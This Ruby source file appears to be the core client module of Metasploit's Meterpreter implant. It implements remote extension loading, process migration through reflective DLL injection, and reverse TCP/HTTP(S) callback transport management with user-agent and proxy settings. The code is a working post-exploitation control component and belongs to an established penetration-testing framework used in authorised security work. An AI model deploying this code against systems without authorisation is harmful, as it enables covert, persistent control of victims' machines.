# -*- coding: binary -*-

require 'rex/post/meterpreter/packet'
require 'rex/post/meterpreter/extension'
require 'rex/post/meterpreter/client'

# Used to generate a reflective DLL when migrating. This is yet another
# argument for moving the meterpreter client into the Msf namespace.
require 'msf/core/payload/windows'

# URI uuid and checksum stuff
require 'msf/core/payload/uuid'
require 'rex/payloads/meterpreter/uri_checksum'

# certificate hash checking
require 'rex/parser/x509_certificate'

module Rex
module Post
module Meterpreter

###
#
# This class is responsible for providing the interface to the core
# client-side meterpreter API which facilitates the loading of extensions
# and the interaction with channels.
#
#
###
class ClientCore < Extension

  UNIX_PATH_MAX = 108
  DEFAULT_SOCK_PATH = "/tmp/meterpreter.sock"

  METERPRETER_TRANSPORT_SSL   = 0
  METERPRETER_TRANSPORT_HTTP  = 1
  METERPRETER_TRANSPORT_HTTPS = 2

  TIMEOUT_SESSION = 24*3600*7  # 1 week
  TIMEOUT_COMMS = 300          # 5 minutes
  TIMEOUT_RETRY_TOTAL = 60*60  # 1 hour
  TIMEOUT_RETRY_WAIT = 10      # 10 seconds

  VALID_TRANSPORTS = {
    'reverse_tcp'   => METERPRETER_TRANSPORT_SSL,
    'reverse_http'  => METERPRETER_TRANSPORT_HTTP,
    'reverse_https' => METERPRETER_TRANSPORT_HTTPS,
    'bind_tcp'      => METERPRETER_TRANSPORT_SSL
  }

  include Rex::Payloads::Meterpreter::UriChecksum

  #
  # Initializes the 'core' portion of the meterpreter client commands.
  #
  def initialize(client)
    super(client, 'core')
  end

  ##
  #
  # Core commands
  #
  ##

  #
  # Get a list of loaded commands for the given extension.
  #
  def get_loaded_extension_commands(extension_name)
    request = Packet.create_request('core_enumextcmd')
    request.add_tlv(TLV_TYPE_STRING, extension_name)

    begin
      response = self.client.send_packet_wait_response(request, self.client.response_timeout)
    rescue
      # In the case where orphaned shells call back with OLD copies of the meterpreter
      # binaries, we end up with a case where this fails. So here we just return the
      # empty list of supported commands.
      return []
    end

    # No response?
    if response.nil?
      raise RuntimeError, 'No response was received to the core_enumextcmd request.', caller
    elsif response.result != 0
      # This case happens when the target doesn't support the core_enumextcmd message.
      # If this is the case, then we just want to ignore the error and return an empty
      # list. This will force the caller to load any required modules.
      return []
    end

    commands = []
    response.each(TLV_TYPE_STRING) { |c|
      commands << c.value
    }

    commands
  end

  def transport_list
    request = Packet.create_request('core_transport_list')
    response = client.send_request(request)

    result = {
      :session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
      :transports  => []
    }

    response.each(TLV_TYPE_TRANS_GROUP) { |t|
      result[:transports] << {
        :url          => t.get_tlv_value(TLV_TYPE_TRANS_URL),
        :comm_timeout => t.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
        :retry_total  => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
        :retry_wait   => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT),
        :ua           => t.get_tlv_value(TLV_TYPE_TRANS_UA),
        :proxy_host   => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST),
        :proxy_user   => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER),
        :proxy_pass   => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS),
        :cert_hash    => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH)
      }
    }

    result
  end

  def set_transport_timeouts(opts={})
    request = Packet.create_request('core_transport_set_timeouts')

    if opts[:session_exp]
      request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
    end
    if opts[:comm_timeout]
      request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
    end
    if opts[:retry_total]
      request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
    end
    if opts[:retry_wait]
      request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
    end

    response = client.send_request(request)

    {
      :session_exp  => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
      :comm_timeout => response.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
      :retry_total  => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
      :retry_wait   => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT)
    }
  end

  #
  # Loads a library on the remote meterpreter instance.  This method
  # supports loading both extension and non-extension libraries and
  # also supports loading libraries from memory or disk depending
  # on the flags that are specified
  #
  # Supported flags:
  #
  #	LibraryFilePath
  #		The path to the library that is to be loaded
  #
  #	TargetFilePath
  #		The target library path when uploading
  #
  #	UploadLibrary
  #		Indicates whether or not the library should be uploaded
  #
  #	SaveToDisk
  #		Indicates whether or not the library should be saved to disk
  #		on the remote machine
  #
  #	Extension
  #		Indicates whether or not the library is a meterpreter extension
  #
  def load_library(opts)
    library_path = opts['LibraryFilePath']
    target_path  = opts['TargetFilePath']
    load_flags   = LOAD_LIBRARY_FLAG_LOCAL

    # No library path, no cookie.
    if library_path.nil?
      raise ArgumentError, 'No library file path was supplied', caller
    end

    # Set up the proper loading flags
    if opts['UploadLibrary']
      load_flags &= ~LOAD_LIBRARY_FLAG_LOCAL
    end
    if opts['SaveToDisk']
      load_flags |= LOAD_LIBRARY_FLAG_ON_DISK
    end
    if opts['Extension']
      load_flags |= LOAD_LIBRARY_FLAG_EXTENSION
    end

    # Create a request packet
    request = Packet.create_request('core_loadlib')

    # If we must upload the library, do so now
    if (load_flags & LOAD_LIBRARY_FLAG_LOCAL) != LOAD_LIBRARY_FLAG_LOCAL
      image = ''

      ::File.open(library_path, 'rb') { |f|
        image = f.read
      }

      if !image.nil?
        request.add_tlv(TLV_TYPE_DATA, image, false, client.capabilities[:zlib])
      else
        raise RuntimeError, "Failed to serialize library #{library_path}.", caller
      end

      # If it's an extension we're dealing with, rename the library
      # path of the local and target so that it gets loaded with a random
      # name
      if opts['Extension']
        library_path = "ext#{rand(1000000)}.#{client.binary_suffix}"
        target_path  = library_path
      end
    end

    # Add the base TLVs
    request.add_tlv(TLV_TYPE_LIBRARY_PATH, library_path)
    request.add_tlv(TLV_TYPE_FLAGS, load_flags)

    if !target_path.nil?
      request.add_tlv(TLV_TYPE_TARGET_PATH, target_path)
    end

    # Transmit the request and wait the default timeout seconds for a response
    response = self.client.send_packet_wait_response(request, self.client.response_timeout)

    # No response?
    if response.nil?
      raise RuntimeError, 'No response was received to the core_loadlib request.', caller
    elsif response.result != 0
      raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
    end

    commands = []
    response.each(TLV_TYPE_METHOD) { |c|
      commands << c.value
    }

    return commands
  end

  #
  # Loads a meterpreter extension on the remote server instance and
  # initializes the client-side extension handlers
  #
  #	Module
  #		The module that should be loaded
  #
  #	LoadFromDisk
  #		Indicates that the library should be loaded from disk, not from
  #		memory on the remote machine
  #
  def use(mod, opts = { })
    if mod.nil?
      raise RuntimeError, "No modules were specified", caller
    end

    # Query the remote instance to see if commands for the extension are
    # already loaded
    commands = get_loaded_extension_commands(mod.downcase)

    # if there are existing commands for the given extension, then we can use
    # what's already there
    unless commands.length > 0
      # Get us to the installation root and then into data/meterpreter, where
      # the file is expected to be
      modname = "ext_server_#{mod.downcase}"
      path = MetasploitPayloads.meterpreter_path(modname, client.binary_suffix)

      if opts['ExtensionPath']
        path = ::File.expand_path(opts['ExtensionPath'])
      end

      if path.nil?
        raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller
      end

      # Load the extension DLL
      commands = load_library(
          'LibraryFilePath' => path,
          'UploadLibrary'   => true,
          'Extension'       => true,
          'SaveToDisk'      => opts['LoadFromDisk'])
    end

    # wire the commands into the client
    client.add_extension(mod, commands)

    return true
  end

  def uuid(timeout=nil)
    request = Packet.create_request('core_uuid')

    args = [ request ]
    args << timeout if timeout
    response = client.send_request(*args)

    id = response.get_tlv_value(TLV_TYPE_UUID)

    return Msf::Payload::UUID.new({:raw => id})
  end

  def machine_id(timeout=nil)
    request = Packet.create_request('core_machine_id')

    args = [ request ]
    args << timeout if timeout

    response = client.send_request(*args)

    mid = response.get_tlv_value(TLV_TYPE_MACHINE_ID)

    # Normalise the format of the incoming machine id so that it's consistent
    # regardless of case and leading/trailing spaces. This means that the
    # individual meterpreters don't have to care.

    # Note that the machine ID may be blank or nil and that is OK
    Rex::Text.md5(mid.to_s.downcase.strip)
  end

  def transport_remove(opts={})
    request = transport_prepare_request('core_transport_remove', opts)

    return false unless request

    client.send_request(request)

    return true
  end

  def transport_add(opts={})
    request = transport_prepare_request('core_transport_add', opts)

    return false unless request

    client.send_request(request)

    return true
  end

  def transport_change(opts={})
    request = transport_prepare_request('core_transport_change', opts)

    return false unless request

    client.send_request(request)

    return true
  end

  def transport_sleep(seconds)
    return false if seconds == 0

    request = Packet.create_request('core_transport_sleep')

    # we're reusing the comms timeout setting here instead of
    # creating a whole new TLV value
    request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, seconds)
    client.send_request(request)
    return true
  end

  def transport_next
    request = Packet.create_request('core_transport_next')
    client.send_request(request)
    return true
  end

  def transport_prev
    request = Packet.create_request('core_transport_prev')
    client.send_request(request)
    return true
  end

  #
  # Enable the SSL certificate has verificate
  #
  def enable_ssl_hash_verify
    # Not supported unless we have a socket with SSL enabled
    return nil unless self.client.sock.type? == 'tcp-ssl'

    request = Packet.create_request('core_transport_setcerthash')

    hash = Rex::Text.sha1_raw(self.client.sock.sslctx.cert.to_der)
    request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)

    client.send_request(request)

    return hash
  end

  #
  # Disable the SSL certificate has verificate
  #
  def disable_ssl_hash_verify
    # Not supported unless we have a socket with SSL enabled
    return nil unless self.client.sock.type? == 'tcp-ssl'

    request = Packet.create_request('core_transport_setcerthash')

    # send an empty request to disable it
    client.send_request(request)

    return true
  end

  #
  # Attempt to get the SSL hash being used for verificaton (if any).
  #
  # @return 20-byte sha1 hash currently being used for verification.
  #
  def get_ssl_hash_verify
    # Not supported unless we have a socket with SSL enabled
    return nil unless self.client.sock.type? == 'tcp-ssl'

    request = Packet.create_request('core_transport_getcerthash')
    response = client.send_request(request)

    return response.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH)
  end

  #
  # Migrates the meterpreter instance to the process specified
  # by pid.  The connection to the server remains established.
  #
  def migrate(pid, writable_dir = nil, opts = {})
    keepalive              = client.send_keepalives
    client.send_keepalives = false
    process                = nil
    binary_suffix          = nil
    old_platform           = client.platform
    old_binary_suffix      = client.binary_suffix

    # Load in the stdapi extension if not allready present so we can determine the target pid architecture...
    client.core.use('stdapi') if not client.ext.aliases.include?('stdapi')

    # Determine the architecture for the pid we are going to migrate into...
    client.sys.process.processes.each { | p |
      if p['pid'] == pid
        process = p
        break
      end
    }

    # We cant migrate into a process that does not exist.
    unless process
      raise RuntimeError, 'Cannot migrate into non existent process', caller
    end

    # We cannot migrate into a process that we are unable to open
    # On linux, arch is empty even if we can access the process
    if client.platform =~ /win/
      if process['arch'] == nil || process['arch'].empty?
        raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
      end
    end

    # And we also cannot migrate into our own current process...
    if process['pid'] == client.sys.process.getpid
      raise RuntimeError, 'Cannot migrate into current process', caller
    end

    if client.platform =~ /linux/
      if writable_dir.to_s.empty?
        writable_dir = tmp_folder
      end

      stat_dir = client.fs.filestat.new(writable_dir)

      unless stat_dir.directory?
        raise RuntimeError, "Directory #{writable_dir} not found", caller
      end
      # Rex::Post::FileStat#writable? isn't available
    end

    blob = generate_payload_stub(process)

    # Build the migration request
    request = Packet.create_request('core_migrate')

    if client.platform =~ /linux/i
      socket_path = File.join(writable_dir, Rex::Text.rand_text_alpha_lower(5 + rand(5)))

      if socket_path.length > UNIX_PATH_MAX - 1
        raise RuntimeError, 'The writable dir is too long', caller
      end

      pos = blob.index(DEFAULT_SOCK_PATH)

      if pos.nil?
        raise RuntimeError, 'The meterpreter binary is wrong', caller
      end

      blob[pos, socket_path.length + 1] = socket_path + "\x00"

      ep = elf_ep(blob)
      request.add_tlv(TLV_TYPE_MIGRATE_BASE_ADDR, 0x20040000)
      request.add_tlv(TLV_TYPE_MIGRATE_ENTRY_POINT, ep)
      request.add_tlv(TLV_TYPE_MIGRATE_SOCKET_PATH, socket_path, false, client.capabilities[:zlib])
    end

    request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
    request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length )
    request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib])

    if process['arch'] == ARCH_X86_64
      request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
    else
      request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86
    end

    # Send the migration request. Timeout can be specified by the caller, or set to a min
    # of 60 seconds.
    timeout = [(opts[:timeout] || 0), 60].max
    client.send_request(request, timeout)

    if client.passive_service
      # Sleep for 5 seconds to allow the full handoff, this prevents
      # the original process from stealing our loadlib requests
      ::IO.select(nil, nil, nil, 5.0)
    else
      # Prevent new commands from being sent while we finish migrating
      client.comm_mutex.synchronize do
        # Disable the socket request monitor
        client.monitor_stop

        ###
        # Now communicating with the new process
        ###

        # If renegotiation takes longer than a minute, it's a pretty
        # good bet that migration failed and the remote side is hung.
        # Since we have the comm_mutex here, we *must* release it to
        # keep from hanging the packet dispatcher thread, which results
        # in blocking the entire process.
        begin
          Timeout.timeout(timeout) do
            # Renegotiate SSL over this socket
            client.swap_sock_ssl_to_plain()
            client.swap_sock_plain_to_ssl()
          end
        rescue TimeoutError
          client.alive = false
          return false
        end

        # Restart the socket monitor
        client.monitor_socket

      end
    end

    # Update the meterpreter platform/suffix for loading extensions as we may
    # have changed target architecture
    # sf: this is kinda hacky but it works. As ruby doesnt let you un-include a
    # module this is the simplest solution I could think of. If the platform
    # specific modules Meterpreter_x64_Win/Meterpreter_x86_Win change
    # significantly we will need a better way to do this.

    case client.platform
    when /win/i
      if process['arch'] == ARCH_X86_64
        client.platform      = 'x64/win64'
        client.binary_suffix = 'x64.dll'
      else
        client.platform      = 'x86/win32'
        client.binary_suffix = 'x86.dll'
      end
    when /linux/i
      client.platform        = 'x86/linux'
      client.binary_suffix   = 'lso'
    else
      client.platform        = old_platform
      client.binary_suffix   = old_binary_suffix
    end

    # Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)
    client.ext.aliases.keys.each { |e|
      client.core.use(e)
    }

    # Restore session keep-alives
    client.send_keepalives = keepalive

    return true
  end

  #
  # Shuts the session down
  #
  def shutdown
    request  = Packet.create_request('core_shutdown')

    # If this is a standard TCP session, send and return
    if not client.passive_service
      self.client.send_packet(request)
    else
      # If this is a HTTP/HTTPS session we need to wait a few seconds
      # otherwise the session may not receive the command before we
      # kill the handler. This could be improved by the server side
      # sending a reply to shutdown first.
      self.client.send_packet_wait_response(request, 10)
    end
    true
  end

  #
  # Indicates if the given transport is a valid transport option.
  #
  def valid_transport?(transport)
    if transport
      VALID_TRANSPORTS.has_key?(transport.downcase)
    else
      false
    end
  end

  private

  def transport_prepare_request(method, opts={})
    unless valid_transport?(opts[:transport]) && opts[:lport]
      return nil
    end

    if opts[:transport].starts_with?('reverse')
      return false unless opts[:lhost]
    else
      # Bind shouldn't have lhost set
      opts[:lhost] = nil
    end

    transport = VALID_TRANSPORTS[opts[:transport]]

    request = Packet.create_request(method)

    scheme = opts[:transport].split('_')[1]
    url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}"

    if opts[:comm_timeout]
      request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
    end

    if opts[:session_exp]
      request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
    end

    if opts[:retry_total]
      request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
    end

    if opts[:retry_wait]
      request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
    end

    # do more magic work for http(s) payloads
    unless opts[:transport].ends_with?('tcp')
      if opts[:uri]
        url << '/' unless opts[:uri].start_with?('/')
        url << opts[:uri]
        url << '/' unless opts[:uri].end_with?('/')
      else
        sum = uri_checksum_lookup(:connect)
        url << generate_uri_uuid(sum, opts[:uuid]) + '/'
      end

      # TODO: randomise if not specified?
      opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'
      request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua])

      if transport == METERPRETER_TRANSPORT_HTTPS && opts[:cert]
        hash = Rex::Parser::X509Certificate.get_cert_file_hash(opts[:cert])
        request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)
      end

      if opts[:proxy_host] && opts[:proxy_port]
        prefix = 'http://'
        prefix = 'socks=' if opts[:proxy_type] == 'socks'
        proxy = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"
        request.add_tlv(TLV_TYPE_TRANS_PROXY_HOST, proxy)

        if opts[:proxy_user]
          request.add_tlv(TLV_TYPE_TRANS_PROXY_USER, opts[:proxy_user])
        end
        if opts[:proxy_pass]
          request.add_tlv(TLV_TYPE_TRANS_PROXY_PASS, opts[:proxy_pass])
        end
      end

    end

    request.add_tlv(TLV_TYPE_TRANS_TYPE, transport)
    request.add_tlv(TLV_TYPE_TRANS_URL, url)

    return request
  end


  def generate_payload_stub(process)
    case client.platform
    when /win/i
      blob = generate_windows_stub(process)
    when /linux/i
      blob = generate_linux_stub
    else
      raise RuntimeError, "Unsupported platform '#{client.platform}'"
    end

    blob
  end

  def generate_windows_stub(process)
    c = Class.new( ::Msf::Payload )
    c.include( ::Msf::Payload::Stager )

    # Include the appropriate reflective dll injection module for the target process architecture...
    if process['arch'] == ARCH_X86
      c.include( ::Msf::Payload::Windows::MeterpreterLoader )
    elsif process['arch'] == ARCH_X86_64
      c.include( ::Msf::Payload::Windows::MeterpreterLoader_x64 )
    else
      raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller
    end

    # Create the migrate stager
    migrate_stager = c.new()

    blob = migrate_stager.stage_meterpreter

    blob
  end

  def generate_linux_stub
    blob = MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin')

    blob
  end

  def elf_ep(payload)
    elf = Rex::ElfParsey::Elf.new( Rex::ImageSource::Memory.new( payload ) )
    ep = elf.elf_header.e_entry
    return ep
  end

  def tmp_folder
    tmp = client.sys.config.getenv('TMPDIR')

    if tmp.to_s.empty?
      tmp = '/tmp'
    end

    tmp
  end

end

end; end; end

